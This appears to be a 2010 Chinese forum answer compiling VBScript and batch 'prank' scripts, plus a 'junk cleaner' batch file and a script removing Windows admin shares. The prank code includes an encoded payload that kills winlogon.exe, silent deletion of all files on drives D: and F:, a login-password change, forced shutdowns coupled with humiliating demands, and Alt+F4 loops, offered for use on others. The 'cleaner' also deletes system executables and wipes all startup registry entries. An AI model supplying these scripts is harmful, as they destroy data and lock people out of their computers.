WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("呵呵。QQ1021435988")

---------------------------------------------------------------------

蓝屏代码:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-

20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runner&chr(strs(i))

---------------------------------------------------------------------

掉qq：

taskkill /im qq.exe /f /t

---------------------------------------------------------------------

10秒强制关机（任务管理器无效）：

shutdown -s -t 10

---------------------------------------------------------------------

死机：

start cmd

0%

---------------------------------------------------------------------

设置登录密码为2010：

net user "%username%" 2010

---------------------------------------------------------------------

让电脑只剩一个背景

taskkill /im /f /t explorer.exe

---------------------------------------------------------------------

莫名其妙结束当前程序:

set ws=createobject("wscript.shell")

do

ws.sendkeys "%{f4}"

loop

---------------------------------------------------------------------

不断提示你是猪:

do

msgbox("你是猪")

loop

---------------------------------------------------------------------

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是大笨笨！哈哈，不说我就一分钟关你机，不信，试试···我说到做到！"" ",0 ,true

dim a

do while(a <> "我是大笨蛋！哈哈！我是大肥猪！")

a = inputbox ("说我是大笨蛋！哈哈！我是大肥猪！,我就不关你的机，快撒，说 ""我是大笨笨！哈哈"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛猪"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾嘎嘎.爽歪歪啊 "

---------------------------------------------------------------------

“我是畜生”:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我是畜生，不说就20秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是畜生")

a = inputbox ("说我是畜生,就不关机，快撒，说 ""我是畜生"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

---------------------------------------------------------------------

10秒关机:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""你被耍了"" ",0 ,true

---------------------------------------------------------------------

刷对话框:

do

msgbox("你被耍了")

loop

---------------------------------------------------------------------

直接关机:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true

---------------------------------------------------------------------一分钟弹出一次:

do until i=10

i=i+1

msgbox "CPU温度过高，系统出现严重误！",16+4096,"系统提示"

wscript.sleep 1000*60 '时间可以自己改

loop

---------------------------------------------------------------------

---------------------------------------------------------------------do while(1)

msgbox "你死定了！"

loop

还有更多的！：

---------------------------------------------------------------------

删除F:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true

---------------------------------------------------------------------

不断按下alt+f4 （开什么都关闭……） :

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------

注意：分割线之间为一个代码，复制进TXT文档，另存为.vbs或.vbe，望楼主采纳！！！ Q群：108141490 --村长

上面是第[1]个回答，答案提供时间是:(2010-9-8 12:27)

sh=msgbox ("已经准备好格式化，准备开始。",vbyesno)

set s=createobject("wscript.shell")

wscript.sleep 1000

msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"

wscript.sleep 1000

wscript.sleep 1000*100

msgbox "windows发现一重要更新，将自动下载。"

wscript.sleep 3000

msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno

wscript.sleep 1000

msgbox "文件名 SXS.exe"+CHR(13)+"发行者田间的菜鸟 "+chr(13)+"安全评级高危"+chr(13)+"建议直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"

msgbox "是否阻止其安装？",vbyesno

wscript.sleep 3000

msgbox "阻止失败！请检查防火墙是否开启！"

wscript.sleep 5000

msgbox "正在尝试强行删除…"

wscript.sleep 5000

msgbox "失败！"

wscript.sleep 5000

msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"

wscript.sleep 10000

s.sendkeys "% n"

s.run "taskkill /im QQ.exe"

s.sendkeys "% n"

s.run "taskkill /im explorer.exe /f"

s.sendkeys "% n"

msgbox "你好啊！"

wscript.sleep 3000

msgbox "很高兴见到你！"

wscript.sleep 3000

msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"

wscript.sleep 3000

msgbox "我控制你的电脑了！"

wscript.sleep 3000

msgbox "不信？那我给你关机看看~"

s.run "shutdown -r -t 120"

msgbox "信了吧！"

msgbox "帮你解除关机……"

s.run "shutdown -a"

msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"

s.run "notepad"

wscript.sleep 3000

s.sendkeys "Hello, I'm sorry I control your computer,"

wscript.sleep 3000

s.sendkeys " but the virus is false in, "

wscript.sleep 3000

s.sendkeys "only a joke, "

wscript.sleep 3000

s.sendkeys "please rest assured! "

wscript.sleep 3000

s.sendkeys "I no longer next "

wscript.sleep 3000

s.sendkeys "time so the whole you!"

wscript.sleep 3000

s.sendkeys" Goodbye!"

s.sendkeys"{enter}"

s.sendkeys"END"

wscript.sleep 1000

s.sendkeys"%{F4}"

msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"

s.run "explorer"

这个既不会关机，也不会对电脑有害。可以吓吓人

复制以上代码保存为bat文件。。。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 复制多个WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true可以删多个磁盘

强的有点儿BT的清理垃圾文件批处理

因为觉得原文件有些地方不大好，所以做了一些变动。

变动如下：

1.原版有更改主页的选项，我给它去掉了。将最后选择访问某网站改为了我的Blog地址- -！

2.原版要删除最后一次正确配置的文件，我去掉了此选项。

3.原版要删除系统自带的还原功能的还原点文件，我去掉了此选项。

4.原版还要删除所有根目录的desktop.ini和虚拟内存，有待商榷...

5.原版要删除inf文件夹里面的东西，不过是.pnf不是所有文件，开始吓了我一跳...要是都删除了，以后U盘等等东西就都用不了了，因为驱动没了。

6.在字体颜色和背景颜色变了一下，也增加了颜色选项注明，大家依个人喜好自己改吧。

7.如果觉得文件不错，以后再用的时候不想每次都点按任意键继续，把前面的Pause >nul删除就可以了。

把蓝色字复制到记事本里面，然后另存为Clean.bat就可以了，以后清理垃圾就直接双击。

如果不会复制- -！，后面有纳米盘的下载连接。

===================

@echo off

ECHO.标题

title=有点儿Bt的系统垃圾清批处理，可在PE下使用...

echo.设置字体颜色为亮绿色，背景为蓝色。

color 9a

*0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白-----------Add by L.M.Zhang*

echo.下面是可用的变量

Set ProgFile=c:\Program Files

Set CurUser=c:\Documents and Settings\Administrator

Set AllUser=c:\Documents and Settings\All Users

set tm1=%time:~0,2%

set tm2=%time:~3,2%

set tm3=%time:~6,2%

ECHO. 清屏

CLS.

ECHO.

ECHO.

echo. 欢迎使用系统垃圾清批处理（支持PE下使用）

ECHO.

ECHO.

ECHO.

ECHO.╭════════════════════╮

ECHO.‖★危险系数声明★                        ‖

ECHO.‖因本脚本会清理回收站里面的内容，所以请‖

ECHO.‖在使用前仔细查看回收站内是否误删除的文‖

ECHO.‖件。如被删除本人概不负责。特此警告~！   ‖

ECHO.╰════════════════════╯

ECHO.╭════════════════════╮

ECHO.‖

ECHO.╰════════════════════╯

ECHO.╭════════════════════╮

ECHO.‖ECHO.╰════════════════════╯

ECHO.

ECHO.

ECHO.

echo. 按任意键开始清理系统垃圾

ECHO.

echo. 等待操作...

pause >nul

title=正在禁用文件保护...

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v MaxConnectionsPer1_0Server /t REG_DWORD /d 8 /f

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v MaxConnectionsPerServer /t REG_DWORD /d 8 /f

title=正在清理开始菜单下的无用衔接...

Del /a/f/s/q "%CurUser%\「开始」菜单\程序\Outlook Express.lnk

Del /a/f/s/q "%CurUser%\「开始」菜单\程序\附件\程序兼容性向导.url"

Del /a/f/s/q "%CurUser%\「开始」菜单\程序\附件\漫游 Windows XP.lnk"

title=正在删除造字程序...

Del /a/f/s/q "%CurUser%\「开始」菜单\程序\附件\TrueType 造字程序.lnk"

Del /a/f/s/q "c:\windows\system32\eudcedit.exe"

title=正在清理Cookies文件...

Del /a/f/s/q "%CurUser%\Cookies\*.*"

title=正在清理图表缓存文件...

Del /a/f/s/q "%CurUser%\Local Settings\Application Data\IconCache.db"

title=正在清理历史纪录...

Del /a/f/s/q "%CurUser%\Local Settings\History\*.*"

title=正在清理管理员账户下的无用快捷方式...

Del /a/f/s/q "%CurUser%\My Documents\My Pictures\示例图片.lnk"

Del /a/f/s/q "%CurUser%\My Documents\My Music\示例音乐.lnk"

title=正在清理访问过的网络邻居快捷方式...

Del /a/f/s/q "%CurUser%\NetHood\*.*"

title=正在清理未完成的打印任务...

Rd /s/q "%CurUser%\PrintHood"

title=正在清理最近打开的文档...

Rd /s/q "%CurUser%\Recent"

title=正在清理收藏夹内的垃圾衔接...

Del /a/f/s/q "%CurUser%\Favorites\MSN.com.url"

Del /a/f/s/q "%CurUser%\Favorites\电台指南.url"

Del /a/f/s/q "%CurUser%\Favorites\链接\Windows.url"

Del /a/f/s/q "%CurUser%\Favorites\链接\Windows Media.url"

Del /a/f/s/q "%CurUser%\Favorites\链接\免费 Hotmail.url"

Del /a/f/s/q "%CurUser%\Favorites\链接\自定义链接.url"

title=正在清理所有账户开式菜单下的无用快捷方式...

Del /a/f/s/q "%AllUser%\「开始」菜单\Windows Catalog.url"

Del /a/f/s/q "%AllUser%\「开始」菜单\Windows Update.lnk"

Del /a/f/s/q c:\windows\system32\wupdmgr.exe"

Del /a/f/s/q "%AllUser%\「开始」菜单\设定程序访问和默认值.lnk"

Del /a/f/s/q c:\windows\system32\control.exe

title=正在清理示例图片...

Rd /s/q "%AllUser%\Documents\My Pictures\示例图片"

title=正在清理示例音乐...

Del /a/f/s/q "%AllUser%\Documents\My Music\示例音乐\Beethoven's Symphony No. 9 (Scherzo).wma"

Del /a/f/s/q "%AllUser%\Documents\My Music\示例音乐\New Stories (Highway Blues).wma"

title=正在清理系统补丁卸载文件...

Rd /s/q "C:\WINDOWS\$*$"

For /f "delims=\" %%i in ('dir "c:\WINDOWS\$*$" /adh /b') do Rd /s/q "c:\WINDOWS\%%i"

title=正在清理系统带得不好看的鼠标指针...

Del /a/f/s/q "c:\WINDOWS\Cursors\*.*"

title=正在清理系统补丁生成的系统驱动备份...

Del /a/f/s/q "c:\windows\Driver Cache\i386\ntkrnlmp.exe"

Del /a/f/s/q "c:\windows\Driver Cache\i386\ntkrnlpa.exe"

Del /a/f/s/q "c:\windows\Driver Cache\i386\ntkrpamp.exe"

Del /a/f/s/q "c:\windows\Driver Cache\i386\ntoskrnl.exe"

title=正在清理下载程序文件夹...

Del /a/f/s/q "c:\WINDOWS\Downloaded Program Files\*.*"

DEL /F /Q /A -R -H -S -A C:\WINDOWS\system32\dllcache\SVOHOST.EXE

DEL /F /Q /A -R -H -S -A C:\WINDOWS\system32\dllcache\WINSCOK.DLL

@echo::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

@echo::删除每个分区下的SXS.EXE和AUTORUN.*文件，请稍侯...

@echo::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

FOR %%a IN ( C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z: ) DO ATTRIB -R -H -S -A %%a\SXS.EXE & DEL /F /Q /A -R -H -S -A %%a\SXS.EXE & ATTRIB -R -H -S -A %%a\AUTORUN.* & DEL /F /Q /A -R -H -S -A %%a\AUTORUN.*

@echo::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

@echo::删除注册表中自启动项，请稍侯...

@echo::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

ECHO Windows Registry Editor Version 5.00>SoundMam.reg

ECHO [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SoundMam]>>SoundMam.reg

ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>SoundMam.reg

ECHO "SoundMam"=->>SoundMam.reg

REGEDIT /S SoundMam.reg

DEL /F /Q SoundMam.reg

REGEDIT /S SHOWALL.reg

DEL /F /Q SHOWALL.reg

title=正在清除“下载器”病毒，请稍等......

Del /a/f/s/q c:\windows\system32\realplayer.exe

Del /a/f/s/q c:\windows\system32\brlmon.dll

Del /a/f/s/q c:\windows\system32\ravmon.dll

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Realplayer.exe /f

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Realplayer.exe /f

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft NT" /f

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RunDown" /f

title=正在清理清理所有多余的启动项目...

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f

reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe /d C:\WINDOWS\system32\ctfmon.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v item /d IMJPMIG

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Del /a/f/s/q "%AllUser%\「开始」菜单\程序\启动\*.*" /q /f

Del /a/f/s/q "%CurUser%\「开始」菜单\程序\启动\*.*" /q /f

Del /a/f/s/q "%userprofile%\「开始」菜单\程序\启动\*.*" /q /f

Del "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\*.*" /q /f

title=正在清理清理注册表最后一次访问位置...

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit" /v "LastKey" /t "REG_SZ" /d "我的电脑" /f

cls

title=正在清理清理注册表中的程序运行记录...

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /f

title=正在清理临时文件夹...

Del /a/f/s/q "%CurUser%\Local Settings\Temp\*.*"

Del /a/f/s/q "%CurUser%\Local Settings\Temporary Internet Files\*.*"

Del /a/f/s/q "%userprofile%\Local Settings\Temp\*.*"

Del /a/f/s/q "%userprofile%\Temporary Internet Files\*.*"

Del /a/f/s/q "%AllUser%\Templates\*.*"

Del /a/f/s/q "c:\WINDOWS\temp\*.*"

title=正在清理其它系统垃圾

Del /a/f/s/q "c:\*.tmp"

Del /a/f/s/q "c:\*._mp"

Del /a/f/s/q "c:\*.log"

Del /a/f/s/q "c:\*.gid"

Del /a/f/s/q "c:\*.chk"

Del /a/f/s/q "c:\*.old"

Del /a/f/s/q "c:\windows\*.bak"

Rd /s/q "c:\WINDOWS\assembly

del /f /s /q "c:\WINDOWS\SoftwareDistribution\Download\*.*

del /f /s /q C:\WINDOWS\system32\spool\drivers\w32x86\3\*.*

del /f /s /q C:\WINDOWS\system32\*.tmp

del /f /s /q C:\WINDOWS\system32\*._mp

del /f /s /q C:\WINDOWS\system32\*.log

del /f /s /q C:\WINDOWS\system32\*.gid

del /f /s /q C:\WINDOWS\system32\*.chk

del /f /s /q C:\WINDOWS\system32\*.old

del /f /s /q C:\WINDOWS\system32%\recycled\*.*

ECHO.=====以下内容是一些常见软件目录清理内容====

title=正在清理360安全卫士系统补丁目录...

Rd /s/q "%ProgFile%\360Safe\hotfix"

title=正在清理极点五笔目录...

Rd /s/q "%CurUser%\「开始」菜单\程序\freeime"

Del /a/f/s/q "%ProgFile%\freeime\freeime.htm"

Del /a/f/s/q "%ProgFile%\freeime\极点五笔纪念版.url"

Del /a/f/s/q "%ProgFile%\freeime\*.gif"

Del /a/f/s/q "%ProgFile%\freeime\*.txt"

Rd /s/q "%ProgFile%\freeime\skin\Apple_Z"

Rd /s/q "%ProgFile%\freeime\skin\bear2"

Rd /s/q "%ProgFile%\freeime\skin\Elegant"

Rd /s/q "%ProgFile%\freeime\skin\IF_Taiji"

Rd /s/q "%ProgFile%\freeime\skin\time"

Rd /s/q "%ProgFile%\freeime\skin\du"

Rd /s/q "%ProgFile%\freeime\skin\huan"

Rd /s/q "%ProgFile%\freeime\skin\Tango NightXP"

Rd /s/q "%ProgFile%\freeime\skin\youxihou"

Rd /s/q "%ProgFile%\freeime\skin\blueness"

Rd /s/q "%ProgFile%\freeime\skin\Hello Kitty"

Rd /s/q "%ProgFile%\freeime\skin\MG_S"

Rd /s/q "%ProgFile%\freeime\skin\VistaHeiMini"

title=正在清理 WINRAR 目录...

Del /a/f/q "%ProgFile%\WinRAR\*.diz"

Del /a/f/q "%ProgFile%\WinRAR\*.txt"

Del /a/f/q "%ProgFile%\WinRAR\*.chm"

Del /a/f/q "%ProgFile%\WinRAR\*.htm"

title=正在清理暴风影音目录...

Del /a/f/s/q "%ProgFile%\Ringz Studio\Storm Codec\*.txt

Del /a/f/s/q "%ProgFile%\Ringz Studio\Storm Codec\*.ini

Del /a/f/s/q "%ProgFile%\Ringz Studio\Storm Codec\*.dat

Del /a/f/s/q "%ProgFile%\Ringz Studio\Storm Codec\GSpot.exe

Del /a/f/s/q "%ProgFile%\Ringz Studio\Storm Codec\StormSet.exe

Del /a/f/s/q "%ProgFile%\Ringz Studio\Storm Codec\Codecs\languages\ffdshow.1033.en

Rd /s/q "%AllUser%\Application Data\Storm\Update

Rd /s/q "%AllUser%\「开始」菜单\程序\暴风影音

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\CoreVideo.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTime3GPP.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTime.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTimeAudioSupport.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTimeEssentials.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTimeH264.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTimeInternetExtras.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTimeMPEG4.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTimeStreaming.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTimeStreamingExtras.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTimeVR.Resources\en.lproj

Rd /s/q "%ProgFile%\Ringz Studio\Storm Codec\QTSystem\QuickTimeWebHelper.Resources\en.lproj

title=正在清理 RealPlayer 目录...

Del /a/f/q "%ProgFile%\Real\RealPlayer\Setup\setup.exe"

Del /a/f/q "%ProgFile%\Real\RealPlayer\*.chm

Del /a/f/q "%ProgFile%\Real\RealPlayer\*.txt

Del /a/f/q "%ProgFile%\Real\RealPlayer\*.html

title=正在清理迅雷目录...

Del /a/f/s/q "%ProgFile%\Thunder Network\Thunder\Program\Update\*.*"

title=正在清理清理ACDSee目录...

Rd /s/q "%CurUser%\Application Data\ACD Systems

Del /a/f/s/q "%ProgFile%\ACDSee\*.hlp"

Del /a/f/s/q "%ProgFile%\ACDSee\*.cnt"

Del /a/f/s/q "%ProgFile%\ACDSee\PlugIns\*.hlp

Del /a/f/s/q "%ProgFile%\ACDSee\PlugIns\*.chm

title=正在清理清理超级兔子注册表备份...

Rd /s/q "c:\WINDOWS\MAGICSET"

ECHO.=====以上内容是一些常见软件目录清理内容====

ECHO. 清屏

CLS.

ECHO.

title=系统垃圾清理完成于：%date% %tm1%点%TM2%分%TM3%秒 o(∩_∩)o...

ECHO.

ECHO.

echo. 系统垃圾清批处理（支持PE下使用）

ECHO.

ECHO.╭════════════════════╮

ECHO.‖

ECHO.‖★感谢使用★

ECHO.‖

ECHO.╰════════════════════╯

ECHO.╭════════════════════╮

ECHO.‖

ECHO.╰════════════════════╯

ECHO.╭════════════════════╮

ECHO.‖

ECHO.╰════════════════════╯

ECHO.

echo. 按【Q】键退出脚本.

echo. 按【G】键到ksctive的Blog做客

echo.

:cho

set choice=

set /p choice= 请敲击相关按键，敲击回车后执行

IF NOT "%Choice%"=="" SET Choice=%Choice:~0,1%

if /i "%choice%"=="Q" goto EXIT

if /i "%choice%"=="G" goto ksctive

echo 选择无效，请重新输入

pause >nul

goto ksctive

:ksctive

title=跳转到ksctive的Blog

start http://hi.baidu.com/ksctive

title=退出脚本...

goto EXIT

:EXIT

title=脚本退出成功...

exit

电脑垃圾自动清除及删除windows默认共享盘符（bat 批处理做到）

Windows在默认情况下几个盘多是共享的，它们是隐藏的危险。

在dos下用命令“net share”可以查看。。。

不能截图，就只能打打字了

@echo off

echo 正在自动删除admin$管理共享和ipc$管道共享,

net share admin$ /del

net share IPC$ /del

net share C$ /del

net share D$ /del

net share E$ /del

net share F$ /del

@echo off并不是DOS程序中的，

而是DOS批处理中的。

当年的DOS，所有操作都用键盘命令来完成，

当你每次都要输入相同的命令时，

可以把这么多命令存为一个批处理。

上面那段是默认admin$管理共享和ipc$管道共享的命令

如果那没有这么多盘符，可以照上面的“net shere *$” /del ’ *是你的盘符号。进行增减

@echo off

echo 这是正在检查cookies、历史纪录等目录位置(当前用户)……

reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Cache>%temp%\cleantmp.txt

reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Cookies>>%temp%\cleantmp.txt

reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v History>>%temp%\cleantmp.txt

reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v NetHood>>%temp%\cleantmp.txt

reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Recent>>%temp%\cleantmp.txt

echo 这里是清理当前用户的Cookies,IE缓存,历史纪录等……

for /f "tokens=3*" %%i in (%temp%\cleantmp.txt) do (

for /d %%i in ("%%i %%b\*.*") do rd /q /s "%%i">Nul 2>Nul

del /a /f /s /q "%%i %%b\*.*">Nul 2>Nul

)

echo 这里清理系统临时垃圾文件……

del /a /f /s /q "%userprofile%\Locals~1\Tempor~1\*.*" >Nul 2>Nul

del /a /f /s /q "%userprofile%\Locals~1\Temp\*.*" >Nul 2>Nul

del /a /f /s /q "%userprofile%\cookies\*.*" >Nul 2>Nul

del /a /f /s /q "%userprofile%\recent\*.*" >Nul 2>Nul

del /a /f /s /q "%Temp%\*.*" >Nul 2>Nul

del /a /f /s /q "%Tmp%\*.*" >Nul 2>Nul

del /a /f /s /q "%HomePath%\..\IconCache.db" >Nul 2>Nul

del /a /f /s /q "%SystemDrive%\driver?\*.pnf" >Nul 2>Nul

del /a /f /s /q "%SystemDrive%\driver?\InfCache.1" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\*._mp" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\*.bak" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\kb*.log" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\*.dmp" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\*.gid" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\*.old" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\*.query" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\*.tmp" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\inf\InfCache.1" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\driver?\*.pnf" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\driver?\InfCache.1" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\inf\*.pnf" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\minidump\*.*" >Nul 2>Nul

del /a /f /s /q "%SystemRoot%\Prefetch\*.*" >Nul 2>Nul

